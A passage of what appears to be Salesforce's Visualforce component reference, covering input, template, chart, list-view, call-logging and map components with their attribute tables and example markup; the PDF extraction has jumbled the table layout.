Document d = (Document) controller.getRecord(); d.folderid = UserInfo.getUserId(); //this puts it in My Personal Documents
}
}
Attributes
Attribute Name Attribute Type
accept accessKey alt contentType dir
String
String
String
String
String
Description
Comma-delimited set of content types. This list can be used by the browser to limit the set of file options that is made available for selection. If not specified, no content type list will be sent and all file types will be accessible.
The keyboard access key that puts the component in focus.
Required?
API
Version
Access
14.0
14.0
An alternate text description of the component.
String property that stores the uploaded file's content type.
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
14.0
14.0
14.0
437
Standard Component Reference apex:inputFile
Attribute Name Attribute Type
disabled fileName fileSize id lang onblur onchange onclick ondblclick onfocus onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover
Boolean
String
Integer
String
String
String
String
String
String
String
String
String
String
String
String
String
String
Description
A Boolean value that specifies whether this component should be displayed in a disabled state. If set to true, the component appears disabled. If not specified, this value defaults to false.
Required?
API
Version
Access
14.0
String property that stores the uploaded file's name.
Integer property that stores the uploaded file's size.
14.0
14.0
14.0
global An identifier that allows the component to be referenced by other components in the page.
The base language for the generated HTML output, for example, "en" or "en-US". For more information, see the W3C specification on this attribute: http://www.w3.org/TR/REC-html40/struct/dirlang.html
14.0
14.0
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the component.
The JavaScript invoked if the onchange event occurs--that is, if the user changes the content of the component field.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the component.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the component twice.
14.0
14.0
14.0
14.0
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the component.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the component.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the component.
14.0
14.0
14.0
14.0
14.0
14.0
14.0
438
Standard Component Reference apex:inputHidden
Attribute Name Attribute Type
rendered required size style styleclass tabindex title value
Boolean
Boolean
Integer
String
String
Integer
String
Blob
Description
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
14.0
global
A Boolean value that specifies whether this component is a required field. If set to true, the user must specify a value for this component. If not selected, this value defaults to false.
14.0
14.0
14.0
Size of the file selection box to be displayed.
The style used to display the component, used primarily for adding inline CSS styles.
The style class used to display the component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The order in which this component is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 0 and
32767, with component 0 being the first component that is selected when a user presses the Tab key.
The text displayed next to the component when the mouse hovers over it.
A merge field that references the controller class variable that is associated with this component. For example, if the name of the associated variable in the controller class is myInputFile, use value="#{myInputFile}" to reference the variable.
Yes
14.0
14.0
14.0
14.0
apex:inputHidden
An HTML input element of type hidden, that is, an input element that is invisible to the user. Use this component to pass variables from page to page.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input >
tag.
Example
<apex:inputHidden value= "{!inputValue}" id= "theHiddenInput" />
The example above renders the following HTML:
<input id= "theHiddenInput" type= "hidden" name= "theHiddenInput" />
439
Standard Component Reference apex:inputSecret
Attributes
Attribute Name Attribute Type
id immediate rendered required value
String
Boolean
Boolean
Boolean
Object
Description
An identifier that allows the inputHidden component to be referenced by other components in the page.
A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
10.0
global
11.0
10.0
global global
A Boolean value that specifies whether this inputHidden field is a required field. If set to true, the a value must be specified for this field. If not selected, this value defaults to false.
A merge field that references the controller class variable that is associated with this hidden input field. For example, if the name of the associated variable in the controller class is myHiddenVariable, use value="{!myHiddenVariable}" to reference the variable.
10.0
10.0
global global
apex:inputSecret
An HTML input element of type password. Use this component to get user input for a controller method that does not correspond to a field on a Salesforce object, for a value that is masked as the user types.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input >
tag.
Example
<apex:inputSecret value= "{!inputValue}" id= "theSecretInput" />
The example above renders the following HTML:
<input id= "theSecretInput" type= "password" name= "theSecretInput" value= "" />
440
Standard Component Reference apex:inputSecret
Attributes
Attribute Name Attribute Type
accesskey alt dir disabled id immediate label lang maxlength onblur onchange onclick ondblclick onfocus onkeydown
String
String
String
Boolean
String
Boolean
String
String
Integer
String
String
String
String
String
String
Description
The keyboard access key that puts the field in focus. When the field is in focus, a user can enter a value.
An alternate text description of the field.
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
A Boolean value that specifies whether this field should be displayed in a disabled state. If set to true, the field appears disabled. If not specified, this value defaults to false.
Required?
API
Version
Access
10.0
global
10.0
10.0
10.0
global global global
10.0
global An identifier that allows the checkbox component to be referenced by other components in the page.
A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false.
A text value that allows to display a label next to the control and reference the control in the error message
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The maximum number of characters that a user can enter for this field, expressed as an integer.
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the field.
11.0
23.0
10.0
10.0
10.0
global global global global
The JavaScript invoked if the onchange event occurs--that is, if the user changes the content of the field.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the field.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the field twice.
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the field.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
10.0
10.0
10.0
10.0
10.0
global global global global global
441
Standard Component Reference apex:inputSecret
Attribute Name Attribute Type
onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup onselect readonly redisplay rendered required size style styleClass tabindex
String
String
String
String
String
String
String
String
Boolean
Boolean
Boolean
Boolean
Integer
String
String
String
Description
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
Required?
API
Version
Access
10.0
global
10.0
global The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
10.0
global
10.0
global The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the field.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the field.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
10.0
10.0
10.0
global global global
10.0
global The JavaScript invoked if the onselect event occurs--that is, if the user selects text in the field.
A Boolean value that specifies whether this field is rendered as read-only. If set to true, the field value cannot be changed.
If not selected, this value defaults to false.
A Boolean value that specifies whether a previously entered password is rendered in this form. If set to true, the previously entered value is displayed with its mask. If not specified, this value defaults to false.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A Boolean value that specifies whether this field is a required field. If set to true, the user must specify a value for this field.
If not selected, this value defaults to false.
The width of the field, as expressed by the number of characters that can display at a time.
The style used to display the inputSecret component, used primarily for adding inline CSS styles.
The style class used to display the inputSecret component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The order in which this field is selected compared to other page components when a user presses the Tab key repeatedly.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global
442
Standard Component Reference apex:inputText
Attribute Name Attribute Type
title value
String
Object
Description
This value must be an integer between 0 and 32767, with component 0 being the first component that is selected when a user presses the Tab key.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
A merge field that references the controller class variable that is associated with this field. For example, if the name of the associated variable in the controller class is myPasswordField, use value="{!myPasswordField}" to reference the variable.
Required?
API
Version
Access
10.0
10.0
global global
apex:inputText
An HTML input element of type text. Use this component to get user input for a controller method that does not correspond to a field on a Salesforce object.
This component doesn't use Salesforce styling. Also, since it doesn't correspond to a field, or any other data on an object, custom code is required to use the value the user enters.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input >
tag.
Example
<apex:inputText value= "{!inputValue}" id= "theTextInput" />
The example above renders the following HTML:
<input id= "theTextInput" type= "text" name= "theTextInput" />
Attributes
Attribute Name Attribute Type
accesskey alt dir
String
String
String
Description
The keyboard access key that puts the field in focus. When the text box is in focus, a user can select or deselect the field value.
Required?
API
Version
Access
10.0
global
An alternate text description of the field.
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
10.0
10.0
global global
443
Standard Component Reference apex:inputText
Attribute Name Attribute Type
disabled id label lang list
Boolean
String
String
String
Object
Description
A Boolean value that specifies whether this text box should be displayed in a disabled state. If set to true, the text box appears disabled. If not specified, this value defaults to false.
Required?
API
Version
Access
10.0
global
10.0
global An identifier that allows the field component to be referenced by other components in the page.
A text value that allows to display a label next to the control and reference the control in the error message
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
23.0
10.0
global
A list of auto-complete values to be added to an HTML
<datalist >
block associated with the input field.
The list
attribute is specified as either a comma-delimited static string or a Visualforce expression. An expression can resolve to either a comma-delimited string, or a list of objects.
List elements can be any data type, as long as that type can be coerced to a string, either as an Apex language feature or via a toString()
method.
29.0
maxlength onblur onchange onclick ondblclick onfocus onkeydown onkeypress onkeyup onmousedown
Integer
String
String
String
String
String
String
String
String
String
The maximum number of characters that a user can enter for this field, expressed as an integer.
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the field.
The JavaScript invoked if the onchange event occurs--that is, if the user changes the content of the field.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the field.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the field twice.
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the field.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global global global
444
Standard Component Reference apex:inputTextarea
Attribute Name Attribute Type
onmousemove onmouseout onmouseover onmouseup rendered required size style styleClass tabindex title value
String
String
String
String
Boolean
Boolean
Integer
String
String
String
String
Object
Description
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the field.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the field.
Required?
API
Version
Access
10.0
global
10.0
10.0
global global
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A Boolean value that specifies whether this field is a required field. If set to true, the user must specify a value for this field.
If not selected, this value defaults to false.
10.0
10.0
10.0
global global global
10.0
global The width of the input field, as expressed by the number of characters that can display at a time.
The style used to display the inputText component, used primarily for adding inline CSS styles.
The style class used to display the inputText component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The order in which this field is selected compared to other page components when a user presses the Tab key repeatedly.
This value must be an integer between 0 and 32767, with component 0 being the first component that is selected when a user presses the Tab key.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
A merge field that references the controller class variable that is associated with this field. For example, if the name of the associated variable in the controller class is myTextField, use value="{!myTextField}" to reference the variable.
10.0
10.0
10.0
10.0
10.0
global global global global global
apex:inputTextarea
A text area input element. Use this component to get user input for a controller method that does not correspond to a field on a Salesforce object, for a value that requires a text area.
445
Standard Component Reference apex:inputTextarea
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<textarea >
tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid contract record in the URL.
For example, if 001D000000IRt53 is the contract ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController= "Contract" >
<apex:form id= "changeDescription" >
<apex:pageBlock >
<p >Current description: {!contract.description} </p >
<p >Change description to: </p >
<apex:inputTextarea id= "newDesc" value= "{!contract.description}" /> <p/ >
<apex:commandButton value= "Save" action= "{!save}" />
</apex:pageBlock >
</apex:form >
</apex:page >
The example above renders the following HTML:
<!-- changes the value of {!contract.description} on save -->
<form id= "j_id0:changeDescription" name= "j_id0:changeDescription" method= "post" action= "/apex/sandbox" enctype= "application/x-www-form-urlencoded" >
<input type= "hidden" name= "j_id0:changeDescription" value= "j_id0:changeDescription"
/>
<!-- opening div tags -->
<p >Current description: To facilitate better deals </p >
<p >Change description to: </p >
<textarea id= "j_id0:changeDescription:j_id1:newDesc" name= "j_id0:changeDescription:j_id1:newDesc" />
<input type= "submit" name= "j_id0:changeDescription:j_id1:j_id4" value= "Save" class= "btn" />
<!-- closing div tags -->
</form >
Attributes
Attribute Name Attribute Type
accesskey cols
String
Integer
Description
The keyboard access key that puts the text area in focus. When the text area is in focus, a user can enter a value.
The width of the field, as expressed by the number of characters that can display in a single row at a time.
Required?
API
Version
Access
10.0
global
10.0
global
446
Standard Component Reference apex:inputTextarea
Attribute Name Attribute Type
dir disabled id label lang onblur onchange onclick ondblclick onfocus onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout
String
Boolean
String
String
String
String
String
String
String
String
String
String
String
String
String
String
Description
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
Required?
API
Version
Access
10.0
global
A Boolean value that specifies whether this text area should be displayed in a disabled state. If set to true, the text area appears disabled. If not specified, this value defaults to false.
10.0
global
10.0
global An identifier that allows the checkbox component to be referenced by other components in the page.
A text value that allows to display a label next to the control and reference the control in the error message
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the text area.
The JavaScript invoked if the onchange event occurs--that is, if the user changes the content of the text area.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the text area.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the text area twice.
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the text area.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the text area.
23.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global global global global global
447
Standard Component Reference apex:inputTextarea
Attribute Name Attribute Type
onmouseover onmouseup onselect readonly rendered required richText rows style styleClass tabindex title value
String
String
String
Boolean
Boolean
Boolean
Boolean
Integer
String
String
String
String
Object
Description
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the text area.
Required?
API
Version
Access
10.0
global
10.0
global The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
The JavaScript invoked if the onselect event occurs--that is, if the user selects text in the text area.
10.0
global
10.0
global A Boolean value that specifies whether this text area should be rendered as read-only. If set to true, the text area value cannot be changed. If not selected, this value defaults to false.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A Boolean value that specifies whether this text area is a required field. If set to true, the user must specify a value for this text area. If not selected, this value defaults to false.
A Boolean value that specifies whether this text area should save as rich text or plain text. If set to true, the value saves as rich text. If not selected, this value defaults to false.
10.0
10.0
10.0
global global global
10.0
global The height of the text area, as expressed by the number of rows that can display at a time.
The style used to display the text area component, used primarily for adding inline CSS styles.
The style class used to display the text area component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The order in which this text area is selected compared to other page components when a user presses the Tab key repeatedly.
This value must be an integer between 0 and 32767, with component 0 being the first component that is selected when a user presses the Tab key.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
A merge field that references the controller class variable that is associated with this text area. For example, if the name of the associated variable in the controller class is myLongDescription, use value="{!myLongDescription}" to reference the variable.
10.0
10.0
10.0
10.0
10.0
global global global global global
448
Standard Component Reference apex:insert
apex:insert
A template component that declares a named area that must be defined by an
<apex:define >
component in another Visualforce page. Use this component with the
<apex:composition >
and
<apex:define >
components to share data between multiple pages.
Example
<!-- Page: composition -->
<!-- This page acts as the template. Create it first, then the page below.
-->
<apex:page >
<apex:outputText value= "(template) This is before the header" /> <br/ >
<apex:insert name= "header" /> <br/ >
<apex:outputText value= "(template) This is between the header and body" /> <br/ >
<apex:insert name= "body" />
</apex:page >
<!-- Page: page -->
<apex:page >
<apex:composition template= "composition" >
<apex:define name= "header" >(page) This is the header of mypage </apex:define >
<apex:define name= "body" >(page) This is the body of mypage </apex:define >
</apex:composition >
</apex:page >
The example above renders the following HTML:
(template) This is before the header <br/ >
(page) This is the header of mypage <br/ >
(template) This is between the header and body <br/ >
(page) This is the body of mypage
Attributes
Attribute Name Attribute Type Description
name
String The name of the matching define tag that provides the content to be inserted into this Visualforce page.
Required?
API
Version
Access
Yes 10.0
global
apex:legend
Defines a chart legend. This component offers additional configuration options beyond the defaults used by the legend attribute of the
<apex:chart >
component.
Note: This component must be enclosed within an
<apex:chart >
component.
449
Standard Component Reference apex:lineSeries
Example
<!-- Page: -->
<apex:chart height= "400" width= "700" data= "{!data}" >
<apex:legend position= "right" />
<apex:axis type= "Numeric" position= "left" fields= "data1,data2" title= "Opportunities Closed" grid= "true" />
<apex:axis type= "Category" position= "bottom" fields= "name" title= "Month of the Year" />
<apex:lineSeries title= "Closed-Won" axis= "left" xField= "name" yField= "data1" />
<apex:lineSeries title= "Closed-Lost" axis= "left" xField= "name" yField= "data2" />
</apex:chart >
Attributes
Attribute Name Attribute Type
font id padding position
String
String
Integer
String
Description
The font to be used for the legend text, as a CSS-style font definition. If not specified, this value defaults to "12px
Helvetica".
An identifier that allows the chart component to be referenced by other components on the page.
Required?
API
Version
Access
23.0
23.0
global
The amount of spacing between the legend border and the contents of the legend, in pixels.
23.0
Yes 23.0
The position of the legend, in relation to the chart. Valid options are:
•
left
•
right
•
top
•
bottom rendered spacing
Boolean
Integer
A Boolean value that specifies whether the chart legend is rendered with the chart. If not specified, this value defaults to true.
The amount of spacing between legend items, in pixels.
23.0
23.0
apex:lineSeries
A data series to be rendered as connected points in a linear Visualforce chart. At a minimum you must specify the fields in the data collection to use as X and Y values for each point, as well as the X and Y axes to scale against.
Note: This component must be enclosed within an
<apex:chart >
component. You can have multiple
<apex:barSeries > and
<apex:lineSeries >
components in a single chart. You can also add
<apex:areaSeries >
and
<apex:scatterSeries >
components, but the results might not be very readable.
450
Standard Component Reference apex:lineSeries
Example
<!-- Page: -->
<apex:chart height= "400" width= "700" data= "{!data}" >
<apex:axis type= "Numeric" position= "left" fields= "data1,data2" title= "Opportunities Closed" grid= "true" />
<apex:axis type= "Category" position= "bottom" fields= "name" title= "Month of the Year" />
<apex:lineSeries title= "Closed-Won" axis= "left" xField= "name" yField= "data1" fill= "true" markerType= "cross" markerSize= "4" markerFill= "#FF0000" />
<apex:lineSeries title= "Closed-Lost" axis= "left" xField= "name" yField= "data2" markerType= "circle" markerSize= "4" markerFill= "#8E35EF" />
</apex:chart >
Attributes
Attribute Name Attribute Type
axis
String
Description
Which axis this chart series should bind to. Must be one of the four edges of the chart:
•
left
•
right
•
top
•
bottom
The axis bound to must be defined by a sibling
<apex:axis >
component.
Required?
API
Version
Access
Yes 23.0
fill fillColor highlight highlightStrokeWidth id markerFill
Boolean
String
Boolean
String
String
String
A Boolean value that specifies whether the area under the line should be filled or not. If not specified, this value defaults to false.
A string that specifies the color to use to fill the area under the line, specified as an HTML-style (hexadecimal) color. If not specified, the fill color matches the line color. Only used if fill is set to true.
A Boolean value that specifies whether each point of the series line should be highlighted when the mouse pointer passes over it. If not specified, this value defaults to true.
A string that specifies the width of the line that is drawn over the series line when it's highlighted.
An identifier that allows the chart component to be referenced by other components on the page.
The color of data point markers for this series, specified as an
HTML-style (hexadecimal) color. If not specified, the marker color matches the line color.
23.0
26.0
23.0
26.0
23.0
23.0
global
451
Standard Component Reference apex:lineSeries
Attribute Name Attribute Type
markerSize markerType
Integer
String
Description
The size of each data point marker for this series. If not specified, this value defaults to "3".
The shape of each data point marker for this series. Valid options are:
•
circle
•
cross
If not specified, the marker shape is chosen from a sequence of shapes.
Required?
API
Version
Access
23.0
23.0
opacity rendered rendererFn showInLegend smooth strokeColor strokeWidth tips title xField
String
Boolean
String
Boolean
Integer
String
String
Boolean
String
String
A decimal number between 0 and 1 representing the opacity of the filled area under the line for the series. If not specified, defaults to "0.3". Only used if fill is set to true.
A Boolean value that specifies whether the chart series is rendered in the chart. If not specified, this value defaults to true.
A string that specifies the name of a JavaScript function that augments or overrides how each data point is rendered.
Implement to provide additional styling or to augment data.
A Boolean value that specifies whether this chart series should be added to the chart legend. If not specified, this value defaults to true.
An integer specifying the amount of smoothing for the line, with lower numbers applying more smoothing. 0 (zero) disables smoothing, and uses straight lines between the points in the series.
A string specifying the color of the line for this series, specified as an HTML-style (hexadecimal) color. If not specified, colors are used in sequence from the chart colorSet or theme.
An integer specifying the width of the line for this series.
A Boolean value that specifies whether to display a tooltip for each data point marker when the mouse pointer passes over it. The format of the tip is <xField>: <yField>. If not specified, this value defaults to true.
The title of this chart series, which is displayed in the chart legend.
The field in each record provided in the chart data from which to retrieve the x-axis value for each data point in the series.
This field must exist in every record in the chart data.
Yes
26.0
23.0
26.0
23.0
26.0
26.0
26.0
23.0
23.0
23.0
452
Standard Component Reference apex:listViews
Attribute Name Attribute Type
yField
String
Description Required?
API
Version
Access
23.0
The field in each record provided in the chart data from which to retrieve the y-axis value for each data point in the series.
This field must exist in every record in the chart data.
Yes
apex:listViews
The list view picklist for an object, including its associated list of records for the currently selected view. In standard Salesforce applications this component is displayed on the main tab for a particular object.
See also:
<apex:enhancedList >
.
Example
<apex:page showHeader= "true" tabstyle= "Case" >
<apex:ListViews type= "Case" />
<apex:ListViews type= "MyCustomObject__c" />
</apex:page >
Attributes
Attribute Name Attribute Type
id rendered type
String
Boolean
String
Description
An identifier that allows the listViews component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
10.0
global
10.0
global
The Salesforce object for which list views are displayed, for example, type="Account" or type="My_Custom_Object__c".
Yes 10.0
global
Facets
Facet Name
body
Description API
Version
The components that should appear in the body of the displayed list of records. Note that the order in which a body facet appears in a listViews component does not matter, because any facet with name="body" will control the appearance of the body of the displayed list. Also note that if you define a body facet, it replaces the list of records that would normally display as part of the list view.
10.0
453
Standard Component Reference
Facet Name
footer header apex:logCallPublisher
Description API
Version
The components that should appear in the footer of the displayed list of records. Note that the order in which a footer facet appears in the body of a listViews component does not matter, because any facet with name="footer" will control the appearance of the bottom of the displayed list.
10.0
The components that should appear in the header of the displayed list of records. Note that the order in which a header facet appears in the body of a listViews component does not matter, because any facet with name="header" will control the appearance of the top of the displayed list.
10.0
apex:logCallPublisher
The Log a Call publisher lets support agents who use Case Feed create logs for customer calls. This component can only be used in organizations that have Case Feed, Chatter, and feed tracking on cases enabled.
This example displays the Log a Call publisher.
<apex:page standardController= "Case" showHeader= "true" >
<apex:logCallPublisher id= "myLogCalllPublisher" entityId= "{!case.id}" title= "Log a Call" width= "500px" autoCollapseBody= "false"
/>
</apex:page >
Attributes
Attribute Name Attribute Type
autoCollapseBody entityId id logCallBody
Boolean id
String
String
Description Required?
API
Version
Access
25.0
A Boolean value that specifies whether the Log a Call body will be collapsed to a small height when it is empty.
Entity ID of the record for which to display the Log a Call publisher. In the current version, only Case record ids are supported.
An identifier that allows the component to be referenced by other components in the page.
The initial text value of the Log a Call body when the publisher is rendered.
Yes 25.0
14.0
25.0
global
454
Standard Component Reference apex:map
Attribute Name Attribute Type
logCallBodyHeight onSubmitFailure onSubmitSuccess rendered reRender showAdditionalFields showSubmitButton submitButtonName submitFunctionName title width
String
String
String
Boolean
Object
Boolean
Boolean
String
String
String
String
Description
The height of the Log a Call body in em.
The JavaScript invoked if the call failed to be logged.
The JavaScript invoked if the call was successfully logged.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the call was successfully logged. This value can be a single
ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
A Boolean value that specifies whether the additional fields defined in the publisher layout should be displayed.
A Boolean value that specifies whether the submit button should be displayed.
The name of the submit button in the Log a Call publisher.
Required?
API
Version
Access
25.0
25.0
25.0
14.0
global
25.0
25.0
25.0
25.0
25.0
The name of a function that can be called from JavaScript to publish the call log.
The title displayed in the Log a Call publisher header.
The width of the publisher in pixels (px) or percentage (%).
25.0
25.0
apex:map
Display an interactive, JavaScript-based map, complete with zooming, panning, and markers based on your Salesforce or other data.
<apex:map >
doesn't, by itself, display map markers, even for the center point. To display up to 100 markers, add child
<apex:mapMarker >
components.
Street Map Showing an Account Location
<apex:page standardController= "Account" >
<!-- This page must be accessed with an Account Id in the URL. For example: https://<salesforceInstance>/apex/AccountLocation?id=001D000000JRBet -->
<apex:pageBlock >
<apex:pageBlockSection title= "{! Account.Name } Location" >
<!-- Display the text version of the address -->
<apex:outputPanel >
<apex:outputField value= "{!Account.BillingStreet}" /> <br/ >
455
Standard Component Reference apex:map
<apex:outputField value= "{!Account.BillingCity}" />,
<apex:outputField value= "{!Account.BillingState}" />
<apex:outputField value= "{!Account.BillingPostalCode}" /> <br/ >
<apex:outputField value= "{!Account.BillingCountry}" />
</apex:outputPanel >
<!-- Display the address on a map -->
<apex:map width= "600px" height= "400px" mapType= "roadmap" zoomLevel= "17" center= "{!Account.BillingStreet},{!Account.BillingCity},{!Account.BillingState}" >
</apex:map >
</apex:pageBlockSection >
</apex:pageBlock >
</apex:page >
Attributes
Attribute Name Attribute Type
center
Object
Description
Specifies the location of the map center. There are several ways to define the center:
•
A string representing an address. For example, "1 Market
Street, San Francisco, CA". The address is automatically geocoded to determine its actual latitude and longitude.
•
A string representing a JSON object with latitude and longitude
attributes that specify location coordinates. For example, "{latitude: 37.794, longitude:
-122.395}".
•
An Apex map object of type
Map <String,
Double>
, with latitude
and longitude
keys to specify location coordinates.
This attribute is required if
<apex:map >
doesn't have any child
<apex:mapMarker >
tags.
When center
isn't set, the map is centered to display all the markers.
Required?
API
Version
Access
32.0
height
String 32.0
id
String
The height of the map, expressed either as a percentage of the available vertical space (for example, height= "50%"
), or as a number of pixels (for example, height= "200px"
).
Yes
Note: This value is passed through to the generated HTML for the map. If you provide an invalid value, your map might not render.
An identifier that allows other components in the page to reference this component.
32.0
global
456
Standard Component Reference apex:mapInfoWindow
Attribute Name Attribute Type
mapType rendered scrollBasedZooming showOnlyActiveInfoWindow width
String
Boolean
Boolean
Boolean
String
Description
The type of map to display. Must be one of the following:
•
hybrid
•
roadmap
•
satellite
If not specified, this value defaults to roadmap
.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true
.
Required?
API
Version
Access
32.0
32.0
37.0
A Boolean value that specifies whether zooming via scroll wheel is enabled on the map. If not specified, this value defaults to true
.
A Boolean value that specifies whether multiple info windows can be displayed on the map at the same time. If not specified, this value defaults to true
and only one info window is displayed at a time. That is, when you click another marker, the first info window disappears and the new info window appears.
The width of the map, expressed either as a percentage of the available horizontal space (for example, width= "50%"
), or as a number of pixels (for example, width= "200px"
).
Yes
Note: This value is passed through to the generated HTML for the map. If you provide an invalid value, your map might not render.
34.0
32.0
zoomLevel
Integer The initial map zoom level, defined as integer from 0 to 18.
Higher values are more completely zoomed in.
When child
<apex:mapMarker >
tags are present and zoomLevel
isn't set, the map is zoomed and centered to display all of the markers. If not specified and there are no markers, the default value is 15.
32.0
apex:mapInfoWindow
Defines an info window for the marker displayed at a location on an
<apex:map >
. The body of the
<apex:mapInfoWindow > component is displayed in the info window when users click or tap the marker. The body of the
<apex:mapInfoWindow >
can be
Visualforce markup, HTML and CSS, or even plain text.
By default only one info window displays at a time. That is, when you click another marker, the first info window disappears and the new info window appears. To display multiple info windows at once, set showOnlyActiveInfoWindow
to false
on the containing
<apex:map >
component.
Note: This component must be enclosed within an
<apex:mapMarker >
component.
457
Standard Component Reference apex:mapInfoWindow
Map of Contacts for an Account
<apex:page standardController= "Account" >
<!-- This page must be accessed with an Account Id in the URL. For example: https://<salesforceInstance>/apex/NearbyContacts?id=001D000000JRBet -->
<apex:pageBlock >
<apex:pageBlockSection title= "Contacts For {! Account.Name }" >
<apex:dataList value= "{! Account.Contacts }" var= "contact" >
<apex:outputText value= "{! contact.Name }" />
</apex:dataList >
</apex:pageBlockSection >
</apex:pageBlock >
<apex:map width= "600px" height= "400px" mapType= "roadmap" center= "{!Account.BillingStreet},{!Account.BillingCity},{!Account.BillingState}" >
<apex:repeat value= "{! Account.Contacts }" var= "contact" >
<apex:mapMarker title= "{! contact.Name }" position= "{!contact.MailingStreet},{!contact.MailingCity},{!contact.MailingState}" >
<apex:mapInfoWindow >
<apex:outputPanel layout= "block" style= "font-weight: bold;" >
